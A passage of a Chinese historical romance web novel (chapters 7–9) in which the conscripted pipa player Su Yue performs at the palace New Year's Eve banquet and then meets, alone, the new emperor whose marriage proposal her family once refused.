然而局势一直在变化,她想家,也患得患失,不敢确定家里人是否真的能把她接出去。如果不能,她要不要为自己挣一挣?她是不服输的脾气,既然走到了这一步,就试试往上攀登吧。前头人能见到搊弹家见不到的人,有了人脉,机会便也相应增多了。 所以还是得感谢这位少卿,无事献殷勤要提防,口头上的客套话也不能少。 苏月道:“我出身微寒,家里人请乐师教授声乐,不过是为去一去身上的庸常罢了。宜春院里都是技艺高超的乐官,凭我的本事,不知能不能立足。万一令少卿失望,那我怕是要羞愧欲死了,实在对不起少卿的栽培。” 白溪石倒是一副笃定的样子,“我这双眼睛,看人从不会出错。只要小娘子尽力而为,必定能在前头人中脱颖而出,前途不可限量。” 苏月抿唇笑了笑,“多谢少卿,卑下一定不负少卿期望。” 白溪石露出一点满意的神情,那双眼睛也如流水一样,流淌过她的面庞。眼梢瞥见见院内的掌乐来接人了,回身吩咐:“替女郎找个清静的住处。院内吵嚷,恐怕静不下心来,除夕大筵就在眼前,别耽误了登台的安排。” 掌乐是何等善于察言观色的人,太常寺少卿是梨园使的顶头上司,这么大的官职压下来,岂能含糊对待。 “少卿放心,卑职省得。”掌乐朝苏月比手,“辜娘子,请随我来吧。” 苏月复向白溪石行了礼,这才跟着掌乐进了宜春院。 梨园里等级划分严明,住处自然也要与身份相匹配。早前一直听说宜春院,她以为同在西隔城里,应当和银台院差不多,但当进了院内,才知道两者有天壤之别。 宜春院的房舍,大概是最趋近于宫内殿阁的建筑,廊庑上有墁砖铺地,檐下横梁密密匝匝布满金绿彩绘。偶尔有前头人经过,一身锦衣,回眸缱绻,原来宜春院和银台院是两个世界,难怪内敬坊的乐工们,把成为前头人当成了一辈子奋斗的目标。 掌乐在前引路,回头看了她一眼,“辜娘子和白少卿,以前就认得?” 苏月摇了摇头,“我刚来上都,只在入园的那天见过少卿。” 掌乐“哦”了声,“少卿特意关照,我还以为你们是故交。”说着含糊一笑,绕过太乐碑亭,往前面的小院子指了指,“那里清静些,直房比别处少。每间三个人,住的大多是宜春院里拔尖的乐官。对了,你们姑苏刚入选的那位女郎,也在这个院里。同乡离得近了,也好互相照顾,辜娘子看这里好不好?” 苏月仰头看了看院门上的小匾,上头写着“枕上溪”三个字。有个地方容身就不错了,难道还能挑拣吗,便朝掌乐伏了伏身,“很好,多谢掌乐。” 掌乐这才悠着步子领她进月洞门,“你那同乡,屋里正好有空位。”说罢喊起来,“春潮!春潮!出来接人!” 不一会儿门打开了,一个松着半边鬓发的人探出脑袋,连面孔也看不清,只管朝苏月招手,“来,进来。” 苏月向掌乐道了谢,跟着迈进屋子,进门就看见那位同乡提着吊子,站在铜盆边上。 苏月隐约记得她的名字,叫朱颜在,个头不高,长得白净温柔。她一见到苏月就满脸欣喜,“你也来了?这下好了,更热闹了。” 那个叫春潮的,这才拂开遮挡住脸颊的头发,露出一张明艳的脸,笑着说:“失礼得很,我正要洗头,掌乐就把你送来了。” 苏月说不碍的,“我也是临时接了调令,冒冒失失闯进园子。” 颜在让她坐,自己提着铜茶吊给春潮浇头发。春潮的头发厚实,洗起来费工夫,苏月刚要铺排自己的床榻,就听见她招呼,“快、快,把皂角膏递给我。” 苏月只好把桌上的竹盒递过去,春潮抓了把膏子,搓出薄薄的一层沫子,边搓边道:“这阵子忙得摸不着耳朵,连洗头都得挑夜里……小娘子怎么称呼?和颜在是同乡?” 苏月说是,“我也是姑苏人,姓辜,阿姐就叫我苏月吧。” 她在回答春潮的时候,看见颜在努力举着铜茶吊,举得两手直哆嗦。 颜在是细胳膊细腿,典型江南美人的长相,凌空悬着的时候久了,有些坚持不住。 她见状,把边上的小杌子搬过来,示意颜在站上去。原本想接手的,但又怕莽撞了,反倒惹人不高兴。新人刚来,总得想办法笼络老人儿。人家正在讨巧,你中途截了胡,反倒落人埋怨。 颜在感激地朝她望了眼,说实话春潮不好伺候,自己被她呼来喝去使唤,只好吃哑巴亏。当初一同来上都的人里,只有自己一个进了宜春院,其中孤单可想而知。现在终于来了个同乡,也算是有了伴,因此颜在很欢喜,连自己的妆匣都要和苏月的放在一起,且热络地招呼她,有什么要用的,尽管自取。 苏月含笑应了,但绝不当真去碰人家的东西。第二天收拾停当进大乐堂,太乐丞照着上面的吩咐,从前头人中挑选出五个,另辟出乐室让她们排演《白纻曲》。受命前来引导她们的,也是擅长江南曲调的乐师。 苏月和颜在是新来的,略费些工夫,但也只消大半日,就已经掌握要领了。 师父领进门,修行靠个人,后来乐师盯得不紧了,常是练半日歇半日,捧着热茶感慨:“教习诸位小娘子,才算是真正省心。不像头几日在银台院,显些要了我的命,怎么教都教不会。看看,我鬓边新长了几根白发,都是被她们给气的。” 这些来自江南的女郎,全是平和温婉的脾性,自矜自重,不愿意给人添麻烦。乐师这么说,她们也只是笑笑,“谁都有刚入门的时候,等日子长了,自然就好了。” 预备登台前虽然需要苦练,但比起在银台院的时候,已经轻松得多了,不必从早到晚抱着乐器不放手。五个人得了闲,就在廊子上坐着攀谈。前朝就入宜春院的那几位,说起家乡总有前世今生之感。一位最年长的,名叫梅引的乐官唏嘘:“我离家整整五年,连做梦,都梦不见家乡的样子了。” 大家都有些惆怅,再过几年,新人也会变成她们今天的模样。 苏月和颜在还能向她们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 描绘江南的变化,其实战乱过后,到处一片狼藉。若说好,只有远山远水还在记忆里,却也因近处的残垣断壁,显得有些破败和凄凉了。 说话间,不防门外忽然进来一位女郎,一双飞扬的丹凤眼,看人的时候眼波袅袅,很有亦嗔亦怨的风味。 进门便问苏月,“你就是新来的姑苏乐工?” 苏月站起身说是,“不知娘子有何指教。” 那位女郎浮起笑,笑意里带着几分傲慢,随口问她:“你与白少卿相熟吗?听说你是他从银台院抽调出来的,昨晚他还亲自在院门上等候你,有这回事吗?” 这么一来,大家都看向苏月,让她有些无所适从。她辩解道:“我和白少卿并不相熟,也是入了宜春院,才得知是受了少卿提携。” 那位女郎一哂,“既然以前不相熟,那往后也不必太相熟,免得过于亲近,引出不必要的误会。” 人家发完话,不等她应承就转身出去了,同坐的云罗告诉苏月:“她叫刘善质,是宜春院最红的前头人,技艺实在是高超,对白少卿也实在是一往情深。但凡有人和白少卿走得近,她就不高兴,上赶着来兴师问罪。” 苏月了然了,“那往后要提防些,别惹她恼火。” “倒也不是怕惹她恼火,”一旁的楚容压声说,“不过离白少卿远些是对的。他年轻,长得又俊,常在梨园内走动,和宜春院好几个前头人都有纠葛。只是后来不知怎么,渐渐没人说起了,近来又同刘善质打得火热。好些人劝善质,让她不要受人蒙骗,她却总觉得自己和以前那些乐工不一样,白少卿是真心喜欢她的。” 自视甚高的人一头扎进感情里,总是莫名自信,自以为独一无二。苦口婆心规劝没有用,总要经历一些事,才能看清人的本性。 苏月没有把这件事放在心上,只觉日子过得飞快,眼看就要除夕了,心也高高悬起来。 以前在家取乐,就算曲调谬之千里也没人计较,如今要去受那些权贵的检阅,只怕错了一个音,也会吃不了兜着走。 所以那几天,她的琵琶几乎没离身,只差睡觉也抱在怀里,连做梦都在拨弦。到了腊月二十九,内造局送乐工当日要穿的礼衣进来,都是细作的浮光锦,上面覆着洁白的玉纱,举手投足光彩动摇,水波粼粼。 衣裳很珍贵,穿上也很美,但十二月的气候,贴身简直凉彻肌骨。 大家上身试了试,忍不住倒吸凉气。登台的乐人都要穿得轻薄,穿出春夏的轻快韵致,总不能一抬胳膊鼓鼓囊囊,这样显得笨重不好看。 “大殿里有温炉,进去就暖和了。”太乐丞努力打消大家的顾虑,“今年上头还拨了炭下来,候场的帐子里也有火盆,保管冻不着你们。” 可是从圆璧城到前面的乾阳殿,有很长一段路,好在大家都备有斗篷,尚可以御寒。 于是年三十一早,就集结起来准备出发了。今天天气阴沉,厚重的云层像个晦暗的锅盔,严实地扣在穹顶上。乐工们列着队伍走在夹城里,冷风从脖颈处往里灌,怀里抱着的乐器,也变成了冷硬的大冰锥。 咬着牙,裙裾翩翩,脚踝像被刀割一样。初入禁廷的好奇,已经被无处不在的寒冷涤荡得所剩无几了。 苏月觉得自己的眼皮都被冻僵了,麻木得几乎抬不起来。等入了重润门,听见一个似曾相识的嗓音想起,才艰难地抬了抬头。 内侍省侍监还是一副笑容可掬的样子,向内比手,“帐幄设在文成殿后,时辰还没到,先进去候着吧。”正巧看见了苏月,便来同她打招呼,“辜娘子,我记得你。头一回亮相,拿出看家的本事来,是明月还是铜镜,就看今朝了。” 7.第 7 章 几乎所有人眼中的出头之日,就是在大宴上被达官显贵看上,然后收作侍妾,运气好一点的做续弦夫人。 这种现状对苏月来说,其实有些无奈,要是仔细回头想想,这世界怎么不是个充满了调侃意味的寓言故事呢。权家大郎还是个微末的副将时,她们家婉拒了人家的求婚,如今人家当上皇帝了,她却被迫成为他的乐工,整日被人催促着,一定要抓住机会,让他手下的官员相中,去做个仰人鼻息的玩物。 其实她只想回家罢了,爹娘打算为她说合一位品行高洁的读书人,她觉得挺好的,这样的郎子才适合她。可惜现在连这个愿望都不能达成了,进了内敬坊,她的命运好像也已经注定了。 侍监这么说,她唯有俯身应承,“只求不出错,不辜负侍监的重望。” 侍监语气温和,含笑道:“外头冷,女郎快跟他们进帐幄吧。” 苏月行过礼,随梨园使入了文成门。 放眼看,这里虽是乾阳殿的副殿,但殿宇高大,人站在底下,渺小如蝼蚁一般。前朝的时候,宫城就以雄伟闻名于世,听说每个主要的宫室,都对应了天上紫微垣的方位,所以这座皇宫又叫紫微宫,其煌赫的程度,很对得起这个名字。 一阵寒风吹来,欣赏宫殿的兴致完全被浇灭了,她还是更在乎搭建在广场上的帐幄。 赶紧钻进去,地方挺大,能容纳好几十人。四角又燃烧着火盆,大家紧挨着坐下,确实比外面暖和多了。 只是手脚依旧冰凉,一旁的颜在偏头问她:“冷么?” 苏月说好多了,“先前冻得我脸上没知觉了。” 不远处的炉子上放着铜茶吊,正咕咚咕咚煮着热茶,可谁也不敢上前倒一杯,害怕回头上场不便,惹出大祸。 大家搓搓手,又跺跺脚,台上有多得体,台下就有多窘迫。 猛听见西边传来低沉的鼓声,众人都为之一振,应当是新帝临朝,百官恭迎了。 辞岁有一套繁复的流程,譬如敬神、赏对联、封笔等。待逐样都完成了,才到皇帝宴请王公大臣的环节。 美酒佳肴自然要佐以歌舞,梨园子弟这时候就粉墨登场了,先是一场气势磅礴的法曲《望瀛》,然后是歌舞大曲《秦王破阵乐》。 苏月在大乐堂里排演时,听太乐署的乐工演奏,并不觉得这些曲目有多庄严,毕竟嬉笑打闹也是常事。然而一旦正经登场,那就是另一种截然不同的气象,宏大、神圣、凛然。还有云韶寺的宫人们,云髻花垂,玉步徐移,舞动起来极有风骨,不卑不亢。原来不管多低微的人,身上都有闪亮不容忽视的力量,也让苏月重新振作起来,自己整日与琵琶为伍,其实也不是那么不堪。 仔细听着动静,前面的曲目将近尾声时,太乐丞从门上进来,招呼下两首曲目的乐工预备登场。 “《庆善乐》压轴,《白纻曲》压场。”太乐丞拽过梅引问,“都预备好了吗?舞者呢?” 梅引说预备好了,把人都集结起来。 白纻舞是独舞,用的自然是最拔尖的舞者,其轻盈柔美,真是非笔墨能形容的。因此这首曲子一起,所有人的目光都会被舞者吸引,苏月自觉出现在新帝面前的尴尬也可以得到缓解,只要老老实实低着头,就可以苟且偷安。 “走走走……”太乐丞急急忙忙驱赶她们,把她们领进乾阳殿后候演的帐幄里。 这地方就不如文成殿那里暖和了,据说凉些能保证清醒,免得上场后头昏脑胀。 也许是因为紧张吧,果然也感觉不到冷,心头攒着一团火,忙于调弦,等着梨园使的召唤。 《庆善乐》奏到半程时,苏月她们就跟随梨园使,入了乾阳殿后殿。隔着一道厚重的帘幔,能听见外面觥筹交错的声响。 跟随新帝出生入死的武将们,早已经封侯拜相了,然而长年的军旅生涯,养成了他们粗豪爽朗的性格。他们对雅乐并不了解,也没打算追捧,最大的兴趣就是看乐工和舞者姿色如何。 太乐署的乐工都是男人,压根没什么好看的,勉强守了半天规矩的武将们开始推杯换盏,粗大的嗓门可以穿破乐阵,大喇喇地说:“敬陛下,愿陛下江山永固,万年吉昌。” 皇帝不能像他们一样,乐声掩盖住了他的嗓音。 大乐在武将们的吹嘘和感慨里奏完了,太岳署的乐工退出来,就轮到她们上场了。梅引打头,余下的人尾随,进入大殿之前还有些胆怯,却在走出那道帷幕后,心里奇异地平静了下来。 既来之则安之,临阵脱逃是不能够的,那就不要辜负这段时间的辛苦,把这个差事好好办成吧。 五个人从容入座,年轻女郎手执乐器的模样优雅曼妙。她们从江南来,朝堂上的臣僚们也都知道新帝是姑苏人,乐工要演奏吴越曲目,再吵嚷就不合时宜了,因此不同于前,大殿上彻底安静了下来。 曲调起,先由梅引的尺八独奏,徐徐揭开了江南的水墨画卷,然后琵琶五弦加入,水乡的迤逦,便绘声绘色呈现在了所有人眼前。 舞者水袖飞扬,歌声在乐声中穿行,“阖庐宫中夜挝鼓,宫树乌啼月未午。玉缸提来酒如乳,白衣成向君前舞……” 懂得音律的人一旦沉浸其中,外界的纷扰就无法影响你了。苏月垂着眼,专心弹奏她的琵琶,玉指勾抹间,短暂忘记了身在何处。 这《白纻曲》,她小时候奏过,吴越之地的名曲,可以抚慰思乡情切的旅人。曲调婉转,让她想起战火连天的春日,关起门来在院子里晒书的父母,也能想起月色无垠下,穿破积雪顽强挺身的麦苗。 江南小曲相较那些大型的燕乐,实在不算长,但全情投入后,人曲几乎要合一。不得不说,这次是最能静下心来演奏的一次,起码练曲的时候,没有其他曲目的干扰。 想来她们的弹奏很合新帝的脾胃吧,一曲奏罢,殿上鸦雀无声。后来听见有人慢慢鼓起掌来,仿佛石子投进池塘,激发出一串涟漪,不管是真情还是假意,大殿上很快回荡起了隆隆的掌声。 侍监盛望带着愉悦的口吻传话:“陛下有令,凡今日登台的乐工,人人有赏。尤其这《白纻曲》深得圣心,看得出乐工与舞者技艺精湛,非同凡响。着令梨园,节后的大宴上,吴越曲目不可少,陛下愿与众臣工共赏,还望不要辜负了陛下的期望。” 乐工们演出的时候,太常寺卿和梨园使都在一旁候着。到底排演的时间太短,掌事的官员们都捏着一颗心,等到曲目全部演奏完,那颗心才堪堪落回肚子里。 圣上发了话,梨园使忙高高揖起手,长长拜伏下去,一声“臣领命”,应得铿锵有力。 总之是皆大欢喜,无端被充入梨园的不平,在头一次演出获得成功后,好像也平复了不少。 大殿上的乐工福身行过礼,却行退回候演的帐幄里,苏月终于长出了一口气,解下缠绕在手腕上的缚带,冲着望过来的颜在笑了笑。 “听说龙光门外有条巷子,里头一家连着一家,全是做小食的商铺。咱们这回办妥了差事,太乐令应当会准许我们出宫门了吧?”颜在满怀憧憬地说,“明天是正旦,宫里反倒不设宴,说是要让臣僚和家人们团聚过节。咱们得闲,出去吃点好吃的吧!” 苏月说好,“回头问过掌乐,要是应准了,我请你吃烤胡饼。” 两下里很高兴,抱起乐器正要退回文成殿,太乐令却出声叫住了苏月,“辜娘子,你且留步。” 颜在纳罕地望向苏月,可惜自己没办法留下陪她,只好一步三回头地随众人走了。 苏月茫然站在那里,迟疑问:“佟令,可有什么吩咐吗?” 太乐令摇了摇头,“不知道,顾使让我传话,你照做就是了。” 苏月没辙,既然走不了,只得在这帐幄里枯等。 梨园的乐工们,眼下都退回圆璧城了,这候演的帐子也就没人再来了。她抱着琵琶,站在空空的帐中,听不见外面有人声,仿佛自己被遗弃在了异世里,四周围静得可怕。 回身看,炉子里的炭火燃烧了很久,表面攒了一层炭灰,只有些微的红光透出来,在盆中乍明乍灭。 帐子很大,没了人气之后感觉更冷了。苏月凑到炭盆前,一手拿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 通条敲掉炭上的浮灰,热量好像升高了一些。可她心里依旧忐忑,不知道为什么单单留下她一个人,也不知道接下来会发生些什么。 好不容易听见有脚步声传来,在帐外又顿住了。隔了半晌,才见一只修长的手探进来,掀起了门上垂帘。 苏月望过去,这是个年纪约摸二十五六的男子,一身玄色的衣袍,身量很高大。但高大,并不显得憨笨,反倒身形匀称,体态潇洒。 再看那张面孔,鼻梁挺拔,眉骨清晰,分明是英朗的长相,眼睛却是水润的。望着你的时候,无遮无挡地透出直白,仿佛是旧相识,今天找来重逢了。 可是苏月搜肠刮肚,也想不起来曾在哪里见过他。这宫里皇亲国戚太多了,春潮曾说过,她们的第一次亮相尤为重要,能不能被人相中,立竿见影便会有说法。果然这说法来得很快,本以为最出风头的是舞者,没想到窝在后面的人,竟然也没能逃过这场筛选。 如今这局面,只有见机行事了。推测将要发生的事,提前在脑子里预演一遍,免得人家表明来意,自己不知道该如何应对。 不过这人看样子似乎并不着急,只是静静打量她,略顿了会儿才问:“辜娘子入上都快一个月了吧,对这里的一切,可还习惯吗?” 如果说不习惯,能不能放她回家?当然这些腹诽的话只能埋在肚子里,总不能犯孩子气,莽撞地试探陌生人的底线。 因此她谦卑地伏了伏身,“上都是繁华之地,天子脚下,起先虽有些难以适应,但日子一长,慢慢也就习惯了。” 她说得圆融,对方却不以为然,“姑苏是鱼米之乡,这些年虽有战乱,但相较其他州府,百姓已经算是安逸的了。据说贵府是姑苏城中的富户,每每城中大乱,家主都能设法保全全族,实在是不易啊。原本战后古城重建,日子渐渐也安稳了,结果这时朝中下令征调乐工,强行把你带到这上都来,小娘子心里应当很有怨言吧?” 苏月说不敢,“天下百姓都是大梁子民,卑下是女流之辈,不能兴国安邦,只好献艺,略为梨园尽些绵力。” 对方听她说完,显然不信这话出自她真心,“新帝贪图享乐才征调乐人,你难道从未这样想过?” 苏月心下惊讶,不由抬了抬眼,“贵人……何出此言啊?” 对方灼灼望着她问:“若非如此,小娘子先前怎么不去瞧瞧龙椅上的人长得什么模样?是不好奇,还是不想放在眼里?” 苏月心头直打鼓,看来他由头至尾都盯着自己啊。不把新帝放在眼里,可是一顶她承受不起的大帽子,忙说不敢,“乐工微贱,不敢随意窥探天颜。再者入紫微宫前,内宰就教过禁中的规矩,卑下一言一行都需谨慎,不敢惹下祸事,牵连梨园。” 对面的人微扬了扬长眉,倒没有继续为难,“娘子这番话无可指摘,可见贵府上教导得很好。辜翁是极谨慎的人,小娘子得了真传,果然青出于蓝。” 苏月听他提起父亲,心里忽然生出了妄念,试探着问:“贵人认得家父吗?贵人曾经去过姑苏?” 他心平气和地对插着袖子,心平气和地点了点头,“去过姑苏,对令尊的声望早有耳闻。”复又问她,“小娘子想家吗?我能为小娘子做些什么吗?” 苏月抱着琵琶,双眼晶亮。 虽然她知道,对一个素昧平生的人提出请求很无礼,但她实在不想错失回家的机会。犹豫再三还是忍不住问出口:“贵人能否助我出梨园,让我回姑苏去?” 这个问题,对方应当早有预料吧,既然肯给她机会,就说明至少还有几分希望。 结果她等来的答案,十分让她沮丧。 “不能。” 苏月无可奈何,不明白既然拒绝得如此干脆,又为什么主动提出要帮忙。 对方似乎很满意她这样的反应,慢条斯理道:“我今日,是特地来看看小娘子的,想印证一下,辜家女郎是否如家母说的一样好。”他仰起唇,冲她淡淡笑了笑,“还不曾向小娘子介绍我自己,我姓权,权珩。生于姑苏,现如今,是这大梁王朝的开国皇帝。” 8.第 8 章 这个自我介绍,真是妙得很,也惊悚得很啊。 苏月听见自己的心蹦得隆隆作响,要不是膝盖够硬,她简直要毫无尊严地跪下来了。 谁能想到,开国的皇帝会跑到候演的帐幄里来,就为了见一见那个曾经拒绝他的人。应当是男人的尊严使然吧,就算不做皇帝,也一定要亲眼过过目,究竟传说中的辜家女郎有多特别,才会让她父亲毫不犹豫拒绝这门婚事。 现在见到了,心结应当也解开了。一个成了皇帝,一个沦为乐工,高下立判,就大人不记小人过了吧! 苏月想起之前在家的时候,阿爹那份如坐针毡,全家跟着一起团团转。如今自己既然见着了正主,就不要辜负了好机会,尽量消除隔阂,大事化小吧。 于是放下琵琶,她十分诚恳且恭敬地向他行了个礼,“卑下辜苏月,拜见陛下。先前太乐丞命我在这里等候,并未告知陛下驾临,若有冒犯之处,还请陛下恕罪。陛下,关于那件事,请容卑下向您解释……” “哪件事?” 他不等她说完,中途截断了她的话,记仇的心简直昭然若揭,语气讥嘲,然后又作恍然大悟状,“哦,你说的,想必是贵府拒婚那件事吧!” 苏月咽了口唾沫,说正是,“其实男婚女嫁,本就是互相考量,不管是高高抬举还是遗憾错过,都是再寻常不过的。当年媒人登门,正是人人自危的时候,家父疼爱卑下,不愿意在那个年月嫁女,也是人之常情啊。” 皇帝细细忖度了她的话,倒也认同,“那时朕征战四方,稍有疏忽就性命不保,令尊不答应,朕也能够体谅。不过,贵府上有些做法,很令朕不解,这门亲事不成便罢了,令尊急急忙忙关了城里的质库,把钱财分给族人,又刻意宣扬家中没有余粮了,这是什么意思?难道误会权家登门提亲,是为了日后好打秋风吗?” 苏月不免讪讪,说起那件事,阿爹的做法确实欠妥,在权家看来,侮辱性不可谓不强。 但她还是要狡辩的,“陛下也说了,辜家是城中富户,树大招风。那时候豪强并起,陛下又在前方征战,姑苏城里涌入许多逃荒的灾民,家父施面施粥反遭人惦记,质库也被人破门洗劫了。所以家父惶恐,那种年月有钱不是好事,还是散尽钱财能够保平安……”说着忽然顿下来,迟疑道,“宣扬家中没有余粮,是借着质库被抢的名头,没有对外说把钱分给族人了呀,陛下是怎么知道的?” 皇帝别开了脸,拒绝回答。 其实还是因为太后对遭拒不满,暗中派人打探了内情。在太后看来自己最得意的儿子要迎娶辜家的女儿,辜家实在没有理由推诿,可谁知辜家那个家主一点情面也没留,只差把巴掌拍到权家脸上。太后觉得自己受了辱,加上不甘心,自然悄悄打听。她家散尽金银,缘由昭然若揭,好在三年没有把女儿嫁出去,太后的不满才稍稍平息。 反正从兴致勃勃打算提亲开始,太后就把一切写在了家书里。起先说辜家门第清白家教好,必定十拿九稳,任凭他怎么反对,太后自有她的道理,训导他立业成家两不误,才是大丈夫。他拗不过,只得任由太后操持,没想到时隔一个月,又收到太后家书,连篇累牍地讲述了热脸贴冷屁股的全部经过。最后痛心疾首质问,辜家说齐大非偶,到底这所谓的“齐”,是指权家还是辜家? 反正就是气不打一处来,过不去这个坎。他从起先的浑不在意,渐渐也受了太后影响,开始对这件事耿耿于怀。现在见到真人了,不知今时今日,他们是否会懊悔当初的决定? 本想暗示三十年河东三十年河西的,不曾想这位女郎先给自家找了台阶下。 “烽火连天,全家实在不忍心分离。当初太后为陛下提亲,应当不止卑下一家,东家不应西家应……” 她这是打算钻个法不责众的空子,暗示拒婚的不止辜家,否则他也不会至今未娶。 皇帝很遗憾地告知她:“这三年,太后只向贵府提过亲,无奈天不遂人愿,最终铩羽而归了。” 又是一个让人魂不附体的消息,苏月脑子里嗡嗡作响,震惊后质疑,质疑后结巴,“怎……怎会如此啊……” 皇帝哂笑了声,“太后说朕没有混出名堂,难免被人厌弃。还是等有了功名,登门求娶才有底气。” 结果这一混,当上了皇帝,对辜家而言实在是晴天霹雳。 更让苏月感到灰心的,是权家居然只向辜家提了亲。这就意味着只有辜家一家得罪了他们,这份独一无二的欺君罔上,让她终于开始理解阿爹,为什么愁得寝食难安了。 那么眼下他专程来见她,就是为了亲眼见证她的落魄,为了证明辜家没眼光吗? 苏月对这种所谓的荣辱,看得并不重,她善于自我安慰,想取笑就取笑吧,取笑完了,就可以让她回梨园了吧? “这是上天作弄,辜家这样的门庭,高攀不上陛下。”她诚挚地说,“如今两家更是云泥之别,卑下及家父深感羞愧,悔不当初。卑下如今能做的,就是日夜祈祷国运昌盛,陛下万寿无疆。日后的排演中必然尽心尽力,拿出全部技艺报效陛下。前尘往事不可追,陛下隆恩浩荡,就宽宥辜家一门的有眼无珠吧。” 如此放低了姿态,皇帝也有雅量,自然不会再和她斤斤计较。 “看来小娘子在梨园如鱼得水,打算用琴技赎罪。”他淡然望着她道,“你与朕也算同乡,可千万不要勉强,若有为难之处就说出来,朕不会袖手旁观的。” 苏月欠了欠身,“并没有为难之处,能为陛下献艺,是卑下的福气。” 嘴上这么说,心里却惨然,果真位高权重的人得罪不起,他们会说着冠冕堂皇的话,给你找最适合的小鞋穿。 先前不知道他的身份,她求他助她回姑苏,他不是断然拒绝了吗。现在又来老调重弹,她要是再上当,那就是自取其辱了。 她已经死心了,皇帝便安心了。不过看她脸色发青,想必她此刻冷得厉害吧。 偏头望了望火盆,盆里的炭火不知什么时候熄灭了,只剩浅白的灰烬。她身上披着一件猞猁狲的斗篷,底下是轻如云雾的礼衣。猞猁狲的皮毛在苏杭足够御寒,但在上都却差远了。 “把斗篷解了。”他忽然说,神情冷漠。 苏月纳罕地抬抬眼,以为自己听错了。 皇帝又重复了一句,“朕让你把斗篷解了。” 可是孤男寡女,解斗篷做什么? 一些不好的预感,从脑子里的每个边角涌了出来,虽说眼前这人已经贵为皇帝了,但他是行伍出身,这也是不争的事实。 苏月的长嫂是扬州人,她以前曾听阿嫂说过,前朝驻守扬州的军队军纪涣散。当兵的最爱逛青楼,过后又不肯付钱,因此在扬州人眼里,那些兵痞才是江南最大的祸患。 苏月捂住了领上的系带,“我虽沦为乐工,但我是好人家的姑娘……” 皇帝拧起了眉,“这和你是不是好人家的姑娘,有关系吗?” 苏月讶然,做了皇帝的人,眼界就是不一样,居然能说出没关系的话来,简直令人咋舌。 她迟迟没有反应,对方的耐心也快用光了,“朕实在想不明白,你们辜家人究竟有多自命不凡,才觉得世上的人都心怀不轨,时刻想打你们的主意?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 苏月被他一番嘲讽,竟真有些自我怀疑了,难道是自己会错了意?但她想破脑袋也想不明白,有哪个好人会在光天化日之下,要求第一次见面的女郎解衣裳。 “卑下恕难从命。”她说。 可惜人家并未理会她的拒绝。 在皇帝看来,他还是白丁的时候遭到拒婚也就算了,如今当了皇帝,还有人对他说不,岂不是滑天下之大稽? 那只捂住领口的手,被他满脸鄙夷地拽了下来,只需轻轻一抽绳结,那件斗篷就落在地上了。然后抬手解下领上金扣,顺手把自己的斗篷扔给她,“上都不像姑苏,冬日里要冷得多。朕这件是新做的,今日头一回上身,你穿上这件,一路上就冻不死了。” 苏月托着这件厚厚的斗篷,茫然不知所措,“这……这……” “这什么?”皇帝道,“朕是一国之君,大人大量。想必你充入梨园的时候,辜翁已经作了最坏的打算。但朕偏要你活着,向你父亲证明,朕既然能统天御宇,就不会公报私仇,刻意刁难。” 这番见解,属实令苏月百思不得其解,难道不给她斗篷,就算公报私仇? 可她不敢问出口,自己刚才的反应已经十分小人之心了。她唯有深深向他拜服,“陛下爱民如子,这份气魄和胸襟,令卑下望尘莫及。卑下刚才又现眼了,请陛下将此事忘了,就当不曾发生过吧。” 皇帝凉笑,“朕与你们辜家人打交道,看来要学会不停遗忘才行了。”边说边抬了抬下颌,“穿上。” 苏月忙说是,扬手把斗篷披在自己身上。 皇帝身量高大,斗篷的下摆拖在地上足有一尺长,但他却刻意忽略了,睁着眼睛说瞎话,“正合适。”顿了顿复又问,“暖和吗?” 苏月已经不知道这合适二字究竟作何解了,也不想费心琢磨,只是老实地回答:“暖和。” 好在他总算决定高抬贵手了,“暖和就好。与小娘子共处良久,相谈甚欢,今日是除夕,梨园想必也设有晚宴,朕就不留你了,早些回去吧。” 苏月如蒙大赦,躬身道:“卑下预先恭贺陛下新禧,那卑下就先告退了。”说着提起斗篷,却行退出了帐幄。 帐中的皇帝扯了下唇角,原本以为太后有些夸大其词,不过一次失败的提亲而已,怎么令人三年不得释怀。但今天看来,确实事出有因,这位辜家女郎看似谦卑,骨子里却是有傲性的。 她看着你时,眼里的水色不是粼粼的波光,是拒人于千里之外的锋利剑芒,明明小小的女孩,竟也让人不敢侵犯。且她很漂亮,是万千出色的前头人中,一眼就能被发现的那种美。可见姑苏确实人杰地灵,能孕育出这样光芒万丈的女郎。 正畅想时,帐门忽然又被打了起来,还是她,尴尬地说:“东西落下了……” 皇帝往边上让了让,看她左手夹住猞猁狲斗篷,右手抱起琵琶,临走不忘再呵呵腰,往宫门上去了。 腾不出手来的苏月,到这时才明白人心险恶。御用的斗篷确实比自己带来的暖和,但没办法裹紧,冷风自然灌得更多。 一路往北走,抱着琵琶的手几乎冻得没了知觉,边走暗中边庆幸,还是阿爹有先见之明,拒了他家的婚。如今看来这人果真不怎么样,小人得志,借故明赏暗罚。 从少府内监夹道到陶光园长廊,足有三百多丈远,每一步都让她生无可恋。还好她机灵,干脆把猞猁狲斗篷系在身前,如此一来身子和手都挡住了,居然甚是温暖。 至于垂委在地的御赐之物,实在是顾不上了。她就这么毫无愧色地,在守门内侍惊讶的注视下,迈进了圆璧南门。 9.第 9 章 运气还不错,返回直房,房里空无一人,颜在和春潮都出去了,就没人会追问这件玄狐斗篷的来历了。 把琵琶放在架子上,才有余地脱下斗篷查验。还好,夹道每天有人清扫,除了沾上些灰,并没有损坏皮毛。 可是这烫手的山芋,实在让她感觉不好处置。先前皇帝把它扔过来,说了是借还是赏吗?不过转念想想,已经被她玷污了,应当不会再要回去了吧!这样的话,等得了空,把它改短一些,寒冬腊月里用来御寒正好。至于自己带出来那件,是阿娘平时舍不得穿的,好好保存着,万一再也回不去了,起码可以留个念想。 小心翼翼拍拂干净,把两件斗篷叠起来,心想着等天晴了,再捧出去清理晾晒。 这时听见门外传来傅姆的声音,吊着嗓子问:“辜娘子是不是回来了?” 苏月忙把斗篷收进柜子里,扬声应了个是,一面打开门道:“刚回来,正预备换衣裳呢。” 傅姆道:“小娘子快些,餐松饮涧那里设了庆功宴,眼看要开席了,只差小娘子一个。” 苏月道好,“姆姆先去,我收拾好了就过去。” 傅姆转身走了,苏月赶忙替换下身上的礼衣,摘了头上簪环,随意绾了个发髻,就赶往梨园设宴的大院了。 